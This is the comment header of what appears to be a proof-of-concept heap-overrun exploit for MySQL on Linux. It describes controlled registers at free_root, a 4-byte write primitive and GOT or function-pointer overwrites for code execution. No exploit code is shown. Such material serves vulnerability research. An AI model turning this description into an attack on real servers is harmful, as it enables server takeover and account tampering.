MySQL (Linux) Heap Based Overrun PoC Zeroday

# MySQL Heap Overrun
# tested for the latest version of mysql server on a SuSE Linux system
#
# As seen below $edx and $edi are fully controlled,
# the current instruction is
# => 0x83a6b24 <free_root+180>:   mov    (%edx),%edi
# this means we landed in a place where 4 bytes can be controlled by 4 bytes
# with this function pointers and GOT entries can be rewritten to execute arbritrary code
#
# a user account (with less privileges) is needed
# beware: this script will change the users password to an undefined value
